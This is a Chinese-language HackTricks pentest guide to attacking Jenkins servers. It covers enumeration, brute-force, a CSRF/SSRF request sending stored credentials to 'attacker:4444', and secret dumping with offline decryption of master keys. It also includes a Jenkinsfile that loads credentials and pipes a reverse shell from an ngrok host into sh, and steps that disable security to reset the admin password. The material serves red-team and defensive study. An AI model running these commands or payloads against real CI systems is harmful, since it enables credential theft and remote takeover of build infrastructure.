Jenkins 安全

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

Jenkins 是一个工具,提供了一种简便的方法来为几乎任何编程语言和源代码仓库的组合建立持续集成或持续交付 (CI/CD) 环境,使用 pipelines。此外,它能够自动化各种常规开发任务。虽然 Jenkins 并不能免除为各个步骤编写脚本的需要,但它确实比手动搭建更快速、更稳健地将整个构建、测试和部署工具链集成在一起。

Basic Jenkins Information

无需身份验证的枚举

为了在未认证的情况下搜索有趣的 Jenkins 页面(例如 /people/asynchPeople,这些会列出当前用户),你可以使用:

msf> use auxiliary/scanner/http/jenkins_enum

检查是否可以在不需要身份验证的情况下执行命令:

msf> use auxiliary/scanner/http/jenkins_command

在没有凭证的情况下,你可以查看路径 /asynchPeople//securityRealm/user/admin/search/index?q= 来寻找 用户名

你可能可以从路径 /oops/error 获取 Jenkins 版本信息。

已知漏洞

GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers \xc2\xb7 GitHub

登录

在基本信息中,你可以检查 所有在 Jenkins 中的登录方式

Basic Jenkins Information

注册

你可能会发现允许你创建账户并登录的 Jenkins 实例。就这么简单。

SSO Login

如果存在 SSO 功能/插件,你应尝试使用测试账号(例如测试 Github/Bitbucket account)登录该应用。Trick from here.

Bruteforce

Jenkins 缺乏 密码策略用户名 brute-force 缓解。进行 brute-force 针对用户是必要的,因为可能使用 弱密码用户名作为密码,甚至 反转的用户名作为密码

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

使用 this python scriptthis powershell script.

IP Whitelisting Bypass

许多组织将 SaaS-based source control management (SCM) systems(例如 GitHub 或 GitLab)与像 Jenkins 或 TeamCity 这样的 internal, self-hosted CI 解决方案结合使用。该配置允许 CI 系统 receive webhook events from SaaS source control vendors,主要用于触发 pipeline jobs。

为此,组织会将 SCM platformsIP ranges 列入 whitelist,允许它们通过 webhooks 访问 internal CI system。然而,值得注意的是,anyone 可以在 GitHub 或 GitLab 上创建 account 并配置以 trigger a webhook,从而可能向 internal CI system 发送请求。

参见: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Internal Jenkins Abuses

在这些情形中,我们假设你有一个有效的账户可以访问 Jenkins。

Warning

根据 Jenkins 中配置的 Authorization 机制以及被攻陷用户的权限,你 可能能够或无法执行以下攻击。

有关更多信息,请查看基本信息:

Basic Jenkins Information

Listing users

如果你已经访问了 Jenkins,你可以在 http://127.0.0.1:8080/asynchPeople/ 列出其他注册用户。

Dumping builds to find cleartext secrets

使用 this script 导出 build console outputs 和 build environment variables,以期发现 cleartext secrets。

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)

一些插件在类似 /descriptorByName/<Class>/testConnection 的路径下暴露 Jelly 的 validateButtontest connection 处理程序。 当处理程序 不强制要求 POST 或进行权限检查 时,你可以:

  • 将 POST 改为 GET 并去掉 Crumb 以绕过 CSRF 检查。
  • 如果不存在 Jenkins.ADMINISTER 检查,可以以低权限/匿名身份触发该处理程序。
  • 对管理员发起 CSRF,并替换 host/URL 参数以 exfiltrate credentials 或触发出站调用。
  • 使用响应错误(例如 ConnectException)作为 SSRF/port-scan oracle。

示例 GET(无 Crumb)将验证调用变为 SSRF/credential exfiltration:

GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080

If the plugin reuses stored creds, Jenkins will attempt to authenticate to attacker:4444 and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/

Stealing SSH Credentials

如果被攻陷的用户拥有 enough privileges to create/modify a new Jenkins node,并且已经存有用于访问其他节点的 SSH 凭据,他可以通过创建/修改一个节点并设置一个不会验证 host key 的主机来记录这些凭据,从而 steal those credentials

通常你会在 global provider (/credentials/) 中找到 Jenkins SSH 凭据,所以你也可以像 dump 其他 secret 那样导出它们。更多信息见 Dumping secrets section.

RCE in Jenkins

获取 Jenkins 服务器的 shell 会使攻击者有机会 leak 所有的 secretsenv variables,并去 exploit other machines 位于同一网络,甚至 gather cloud credentials

默认情况下,Jenkins 会以 SYSTEM 运行。因此,攻破它会赋予攻击者 SYSTEM 权限。

RCE Creating/Modifying a project

Creating/Modifying a project 是获得 Jenkins 服务器 RCE 的一种方式:

Jenkins RCE Creating/Modifying Project

RCE Execute Groovy script

你也可以通过执行 Groovy script 来获得 RCE,这可能比创建新项目更隐蔽:

Jenkins RCE with Groovy Script

RCE Creating/Modifying Pipeline

你也可以通过创建/修改 pipeline 来获得 RCE

Jenkins RCE Creating/Modifying Pipeline

Pipeline Exploitation

要 exploit pipelines,你仍然需要访问 Jenkins。

Build Pipelines

Pipelines 也可以被用作项目中的 build mechanism,在这种情况下可以配置仓库内的一个 file inside the repository 来包含 pipeline 语法。默认使用 /Jenkinsfile

也可以将 store pipeline configuration files in other places(例如在其他仓库中),目的是 separating repository access 和 pipeline access。

如果攻击者对该文件有 write access over that file,他将能够 modify 它并 potentially trigger pipeline,甚至无需访问 Jenkins 即可触发。
攻击者可能需要 bypass some branch protections(这取决于平台和用户权限,可能能或不能被绕过)。

最常见的触发自定义 pipeline 的方式有:

  • Pull request to the main branch (or potentially to other branches)
  • Push to the main branch (or potentially to other branches)
  • Update the main branch and wait until it’s executed somehow

Note

如果你是一个 external user,你不应该期望能够对其他用户/组织的仓库创建一个 PR to the main branchtrigger the pipeline……但如果配置不当,你可能仅通过利用这一点就能完全 compromise companies

Pipeline RCE

在前面的 RCE 部分已经指出了一种 get RCE modifying a pipeline 的技术。

Checking Env variables

可以为整个 pipeline 或特定 stage 声明 clear text env variables。这些 env variables shouldn’t contain sensitive info,但攻击者始终可以 check all the pipeline 配置/Jenkinsfiles:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Dumping secrets

有关 Jenkins 通常如何处理 secrets 的信息,请查看基础信息:

Basic Jenkins Information

凭证可以限定到全局提供者/credentials/)或特定项目/job/<project-name>/configure)。因此,要想 exfiltrate 所有凭证,你至少需要攻破所有包含 secrets 的项目并执行自定义/被投毒的 pipelines。

还有一个问题:为了在 pipeline 的 env 中得到一个 secret,你需要知道该 secret 的名称和类型。例如,如果你尝试将一个 usernamePassword 类型的 secret 当作 string 类型的 secretload,你会得到如下 错误

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

下面是加载一些常见 secret 类型的方法:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

在此页面末尾你可以找到所有凭证类型: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Warning

最好的方法是通过 dump all the secrets at once,即通过 compromising Jenkins 机器(例如在 built-in node 上运行一个 reverse shell),然后 leaking master keysencrypted secrets 并在 offline 解密。
更多关于如何做到这一点的信息见 Nodes & Agents section 和在 Post Exploitation section

触发器

来自 the docs: triggers directive 定义了 Pipeline 应该被重新触发的自动方式。对于与 GitHub 或 BitBucket 等源集成的 Pipelines,triggers 可能不是必需的,因为基于 webhooks 的集成很可能已经存在。当前可用的触发器有 cronpollSCMupstream

Cron 示例:

triggers { cron('H */4 * * 1-5') }

Check 文档中的其他示例

Nodes & Agents

一个 Jenkins 实例 可能在不同的机器上运行 不同的 agents。从攻击者角度来看,访问不同的机器意味着可能窃取到不同的云凭证,或者获得可被滥用以攻击其他机器的不同网络访问权限

更多信息请查看基础信息:

Basic Jenkins Information

你可以在 /computer/ 列举 已配置的节点,通常你会看到 Built-In Node(即运行 Jenkins 的节点),以及可能的其他节点:

攻陷 Built-In node 特别有价值,因为它包含敏感的 Jenkins 信息。

要指定在 built-in Jenkins noderunpipeline,可以在 pipeline 中指定以下配置:

pipeline {
agent {label 'built-in'}

完整示例

在特定 agent 上的 Pipeline,带有 cron trigger,包含 pipeline 和 stage env variables,在一个 step 中加载 2 个变量并发送 reverse shell:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Arbitrary File Read to RCE

Jenkins Arbitrary File Read to RCE via “Remember Me”

RCE

Jenkins RCE with Groovy Script

Jenkins RCE Creating/Modifying Project

Jenkins RCE Creating/Modifying Pipeline

Post Exploitation

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins 机密

你可以通过访问 /credentials/ 列出这些机密(如果你有足够的权限)。请注意,这只会列出 credentials.xml 文件中的机密,但构建配置文件可能也包含更多凭证

如果你能查看每个项目的配置,也可以在其中看到用于访问仓库的凭证(secrets)的名称以及项目的其他凭证

从 Groovy

Jenkins Dumping Secrets from Groovy

从磁盘

解密 Jenkins secrets,需要以下文件:

  • secrets/master.key
  • secrets/hudson.util.Secret

此类机密通常可以在以下位置找到

  • credentials.xml
  • jobs/…/build.xml
  • jobs/…/config.xml

下面是一个用于查找它们的正则表达式:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

离线解密 Jenkins secrets

如果你已经导出了 解密这些 secrets 所需的密码,使用 this script 来解密这些 secrets

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

从 Groovy 解密 Jenkins secrets

println(hudson.util.Secret.decrypt("{...}"))

创建新的 admin user

  1. 访问 Jenkins 的 config.xml 文件,路径为 /var/lib/jenkins/config.xmlC:\Program Files (x86)\Jenkis\
  2. 查找 <useSecurity>true</useSecurity> 并将 true 更改为 false
  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
  4. 重启 Jenkins 服务器:service jenkins restart
  5. 现在再次访问 Jenkins 门户,Jenkins will not ask any credentials。导航到 “Manage Jenkins” 来重新设置 administrator password
  6. 通过将设置改回 <useSecurity>true</useSecurity> 启用 security,并再次重启 Jenkins

参考资料

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks